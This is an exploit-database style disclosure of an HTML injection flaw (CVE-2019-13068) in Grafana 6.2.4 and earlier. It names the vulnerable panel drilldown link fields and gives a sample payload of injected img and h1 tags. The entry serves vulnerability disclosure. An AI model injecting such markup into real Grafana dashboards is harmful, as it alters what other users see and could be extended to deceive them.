Grafana <=6.2.4 - HTML Injection

# Exploit Title: Grafana <=6.2.4 - HTML Injection
# Date: 30-06-2019
# Exploit Author: SimranJeet Singh
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download/6.2.4
# Version: 6.2.4
# CVE : CVE-2019-13068

The uri "public/app/features/panel/panel_ctrl.ts" in Grafana before 6.2.5 allows HTML Injection in panel drilldown links (via the Title or url field)

Payload used - <img src="[image_URL]"><h1>Hello</h1>